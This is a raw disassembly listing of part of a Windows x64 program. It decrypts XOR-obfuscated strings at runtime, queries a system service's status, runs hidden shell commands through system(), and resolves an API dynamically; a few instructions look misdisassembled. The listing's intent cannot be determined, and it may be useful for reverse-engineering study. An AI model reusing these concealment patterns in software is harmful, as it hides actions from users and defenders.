call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14001ab90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x23fd9c7099cb018f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1c0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x1c8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x18b0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18b8], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp + 0x18b0]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
mov rcx, r8
call fcn.14000b3e0
lea rdx, [rbp + 0xf38]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140025b10
lea rdx, [rbp + 0xf38]
lea rcx, [rbp + 0x9e8]
call fcn.14000dda0
mov rdx, rax
lea rcx, [rbp + 0x1410]
call fcn.14006bac0
cmp byte [rbp + 0x1650], 0
jne 0x140021ba6
mov ecx, 1
nop
adc eax, 0xac0cb
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x11f0]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0x77e9c56c97dc1bc6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xbbce7174f8f2ae12
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x18c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18c8], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
pxor xmm0, xmmword [rbp + 0x18c0]
movdqa xmmword [rbp + 0x1d0], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x11f0]
call fcn.140024370
nop
lea rdx, [rbp + 0xf38]
lea rcx, [rbp + 0x11f0]
call fcn.14000b5b0
lea rcx, [rbp + 0x11f0]
call fcn.140006460
lea rax, [rbp + 0x9a8]
mov qword [rbp + 0x20], rax
movabs rax, 0x2ce8867a8cf455ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs rax, 0x95aa031b9b81b30e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
movabs rax, 0x4f45eeeaade3d554
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
movabs rax, 0x49ff009f6f2b7a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
movabs rax, 0xe3525df08df86226
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rax, 0xd62d0fe4c7233f16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs rax, 0x8bf665d855e1d5ab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rax, 0x1b94391dd7ed343f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs rax, 0xf122e30e95df8715
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs rax, 0x6aba2b15f1014384
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
movabs rax, 0x7f59514addd4e226
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
movabs rax, 0x8a14c0549681b43d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
movabs rax, 0x7ba60debb2ce51f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs rax, 0x4036b8d0bd5660ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
movabs rax, 0x9b5eb6d390c61835
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
movabs rax, 0xb9f53e0aa0ea56fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1c00], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1c08], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1c10], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1c18], rax
movabs rax, 0xdb626ac5b5c95309
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1c28], rax
movabs rax, 0xcfce03f760d5ec9b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c30], rax
movabs rax, 0x7cc04b4283975168
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c38], rax
movabs rax, 0xa6688451f0b4d12d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c40], rax
movabs rax, 0x59ff6c5cbd312bf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c48], rax
movabs rax, 0x193a6633b9b1bd5f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c50], rax
movabs rax, 0xbf57f32eeff3cd7c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c58], rax
movabs rax, 0x48c905adfe6ea971
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c60], rax
movabs rax, 0x287d8d98ed0f0fd6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c68], rax
movabs rax, 0xee3bf3bfe28b4703
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c70], rax
movabs rax, 0xb9f53e0aa0ea5690
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c78], rax
vmovdqu ymm0, ymmword [rbp + 0x400]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c00]
vmovdqa ymmword [rbp + 0x400], ymm1
vmovdqu ymm0, ymmword [rbp + 0x420]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c20]
vmovdqa ymmword [rbp + 0x420], ymm1
vmovdqu ymm0, ymmword [rbp + 0x440]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c40]
vmovdqa ymmword [rbp + 0x440], ymm1
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c60]
vmovdqa ymmword [rbp + 0x460], ymm1
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x9a8]
vzeroupper
call fcn.1400066e0
mov rdi, rax
movabs rax, 0x66b4d26c9fe96da5
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x70], rcx
movabs rax, 0xbbce514e8197914a
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x78], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x18d0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18d8], rax
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp + 0x18d0]
movdqa xmmword [rbp + 0x70], xmm0
mov edx, 0x1a0a
lea rcx, [rbp + 0x7b0]
call fcn.140010d60
nop
movabs rax, 0x3c7bc299ce041a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x18e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18e8], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0x18e0]
movdqa xmmword [rbp + 0x1e0], xmm0
lea r8, [0x14010b1f0]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x968]
call fcn.140024dd0
nop
mov r8d, 1
lea rdx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, rax
call fcn.14000dec0
mov rdx, rax
lea rcx, [rbp + 0x790]
call fcn.14000dd70
nop
lea r9, [rbp + 0x7b0]
lea r8, [rbp + 0x790]
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x770]
call fcn.140025830
nop
lea rax, [rbp + 0x70]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140022110
mov r8, rbx
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x770]
call fcn.14000dec0
mov rdx, rax
lea rcx, [rbp + 0x750]
call fcn.14000dd70
nop
lea r8, [rbp + 0xf38]
lea rdx, [rbp + 0x750]
lea rcx, [rbp + 0x988]
call fcn.140025360
nop
mov r8d, 3
lea rdx, [0x1400eb45c]
mov rcx, rax
call fcn.14000dec0
mov rdx, rax
lea rcx, [rbp + 0x730]
call fcn.14000dd70
nop
mov rdx, rdi
lea rcx, [rbp + 0x730]
call fcn.14001bd50
nop
lea rcx, [rbp + 0x988]
call fcn.140006680
nop
lea rcx, [rbp + 0x750]
call fcn.140006680
nop
lea rcx, [rbp + 0x770]
call fcn.140006680
nop
lea rcx, [rbp + 0x790]
call fcn.140006680
nop
lea rcx, [rbp + 0x968]
call fcn.140006680
nop
lea rcx, [rbp + 0x7b0]
call fcn.140006680
nop
lea rcx, [rbp + 0x1298]
call fcn.1400064a0
lea rcx, [rbp + 0x1298]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
movabs rax, 0x71a2c86595c665d2
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1f0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x1f8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x18f0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18f8], rax
movdqa xmm0, xmmword [rbp + 0x1f0]
pxor xmm0, xmmword [rbp + 0x18f0]
movdqa xmmword [rbp + 0x1f0], xmm0
mov r8d, 4
lea rdx, [rbp + 0x1f0]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
lea rax, [rbp + 0xf30]
mov qword [rsp + 0x20], rax
mov r9d, Ordinal_41
lea r8, [rbp + 0x10b8]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov rcx, rdi
cmp dword [rbp + 0x10bc], 4
jne 0x1400228e9
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movabs rax, 0x3c7bc7b93f253c0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x16c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x16c8], rax
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0x16c0]
movdqa xmmword [rbp + 0x40], xmm0
movabs rax, 0x71a2c86595c665d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xdca0181a9687884a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x134dfbe7d2ae9419
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x5791ec09f2d3f2b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0xfb17059c95e50740
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x977656a3d27d664d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xbdbe239208a1ccfe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x5a26b2fe6fb3307
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0xc801ec3284d5a60d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x369a0835cb110b95
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rcx, 0x193a6633b9b1bd5f
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rdx, 0xbf57f32eeff3cd7c
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1d20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1d28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1d30], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1d38], rax
movabs r14, 0xdb626ac5b5c95309
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d40], rax
movabs rdi, 0xe11a39d0f213072e
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1d48], rax
movabs rax, 0xcfce03f760d5ec9b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d50], rax
movabs rax, 0x7cc04b4283975168
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d58], rax
movabs rax, 0xa6688451f0b4d12d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d60], rax
movabs rax, 0x59ff6c5cbd312bf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d68], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1d70], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1d78], rax
vmovdqu ymm0, ymmword [rbp + 0x1d20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x3a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x3c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d40]
vmovdqa ymmword [rbp + 0x3c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d60]
vmovdqa ymmword [rbp + 0x3e0], ymm1
mov r9d, 0x40030
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x3a0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rbx, 0x77af9c7d8ee155f6
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x16e0], rax
movabs rax, 0xcfbd5e5bc281aa1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16e8], rax
movabs rax, 0x540fceaefefdf45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16f0], rax
movabs rax, 0x4e95fb49f3ffb1fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x16f8], rax
movabs rax, 0xdb626ac5b5bc613f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1700], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1708], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1720], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1728], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1730], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1738], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1740], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1748], rax
vmovdqu ymm0, ymmword [rbp + 0x1720]
vpxor ymm1, ymm0, ymmword [rbp + 0x16e0]
vmovdqa ymmword [rbp + 0x16e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x1700]
vpxor xmm2, xmm2, xmmword [rbp + 0x1740]
vmovdqa xmmword [rbp + 0x1700], xmm2
lea rcx, [rbp + 0x16e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs rax, 0xdea35e5bc281aa1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0x94ab1f1eca0db50
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rax, 0x9aaa0ceebfb7b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
movabs rax, 0xae52228296a8655d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rax, 0xd75672e595254878
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x95e379af278fdad1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
movabs rax, 0x2db6050defd6635d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
movabs rax, 0xc91fd066c48cb61f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0x59941a17f95b40a4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1a40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a48], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1a50], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1a58], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1a60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1a68], rax
movabs rax, 0xcfce03f760d5ec9b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a70], rax
movabs rax, 0x7cc04b4283975168
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a78], rax
movabs rax, 0xa6688451f0b4d12d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a80], rax
movabs rax, 0x59ff6c5cbd312bf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a88], rax
vmovdqu ymm0, ymmword [rbp + 0x1a40]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0x580], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a60]
vmovdqa ymmword [rbp + 0x5a0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x5c0]
vpxor xmm2, xmm2, xmmword [rbp + 0x1a80]
vmovdqa xmmword [rbp + 0x5c0], xmm2
lea rcx, [rbp + 0x580]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movabs rax, 0x4d88ff29b9c46ec8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x8efb4c27b4bd994a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x5111cdceccc7f617
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x77f49f669e90d2e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1ae0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1ae8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1af0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1af8], rax
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ae0]
vmovdqa ymmword [rbp + 0x240], ymm1
lea rcx, [rbp + 0x240]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x67e9c93bcfee48f2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xbbce7174f8f2b606
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1910], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1918], rax
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp + 0x1910]
movdqa xmmword [rbp + 0x200], xmm0
lea rcx, [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r8, rax
movabs rax, 0x6291d76e84c455cb
movabs rdx, 0xcfa11c1b8aa2b603
movabs r9, 0x95ff1fbefe1f952
movabs r10, 0x1186ea35f0ffbba0
movabs r11, 0xdb626ac5b5ac3068
movabs rbx, 0xe11a39d0f213072e
test r8, r8
je 0x140022b80
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x620], rcx
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1960], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1968], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1970], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1978], rax
movabs rdi, 0xdb626ac5b5c95309
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1980], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1988], rax
vmovdqu ymm0, ymmword [rbp + 0x620]
vpxor ymm1, ymm0, ymmword [rbp + 0x1960]
vmovdqa ymmword [rbp + 0x620], ymm1
vmovdqa xmm0, xmmword [rbp + 0x640]
vpxor xmm0, xmm0, xmmword [rbp + 0x1980]
vmovdqa xmmword [rbp + 0x640], xmm0
lea rdx, [rbp + 0x620]
mov rcx, r8
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140022b8a
movabs rdi, 0xdb626ac5b5c95309
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf18], xmm0
mov qword [rbp + 0xf28], rax
movabs rax, 0x3c78d3fc8b010bd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x18a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18a8], rax
movdqa xmm0, xmmword [rbp + 0x210]
pxor xmm0, xmmword [rbp + 0x18a0]
movdqa xmmword [rbp + 0x210], xmm0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x908]
call fcn.1400066e0
mov r8, rax
lea rdx, [rbp + 0xf18]
lea rcx, [rbp + 0x1410]
call fcn.14006c460
nop
movabs rax, 0x77e9c56c97dc1bc6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xbbce7174f8f2ae12
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1890], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1898], rax
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0x1890]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xf98]
call fcn.1400066e0
nop
lea rcx, [rbp + 0xfd8]
call fcn.140009b20
lea rcx, [rbp + 0xfd8]
call fcn.140006c90
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x10e0]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0xf98]
lea rcx, [rbp + 0x10e0]
call fcn.140024770
nop
mov qword [rbp + 0x20], r14
mov word [rbp + 0x28], 1
mov rax, qword [rbp + 0x10e0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x1128]
mov qword [rbp + 0x30], rax
test rax, rax
sete byte [rbp + 0x38]
mov byte [rbp + 0x39], 0
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x6c0], xmm0
movaps xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x6b0], xmm1
lea r9, [rbp + 0x11]
lea r8, [rbp + 0x6c0]
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0xff8]
call fcn.1400253c0
nop
xor r8d, r8d
lea rdx, [rbp + 0xff8]
lea rcx, [0x140109c90]
call fcn.14000df40
lea rcx, [rbp + 0x10e0]
call fcn.14000d990
lea rdx, [0x140109c90]
lea rcx, [rbp + 0x8a8]
call fcn.14000dda0
mov rdx, rax
lea rcx, [rbp + 0x1410]
call fcn.14006bac0
cmp byte [rbp + 0x1650], 0
je 0x1400237ba
add byte [rax + 0xaaec115], dl
add byte [rax + 0x18958d48], dl
sldt word [rax]
lea rcx, [rbp + 0x870]
call fcn.1400244e0
mov rcx, rax
call fcn.14001b770
mov rax, qword [rbp + 0xf18]
mov qword [rbp + 0xf20], rax
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x3c7bc09fcf34de6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1880], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1888], rax
movdqa xmm0, xmmword [rbp + 0x90]
pxor xmm0, xmmword [rbp + 0x1880]
movdqa xmmword [rbp + 0x90], xmm0
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x6291d76e84c455cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xcfa11c1b8aa2b603
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x95ff1fbefe1f952
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
movabs rax, 0x1186ea35f0ffbba0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
movabs rax, 0xdb626ac5b5ac3068
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x19a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x19a8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x19b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
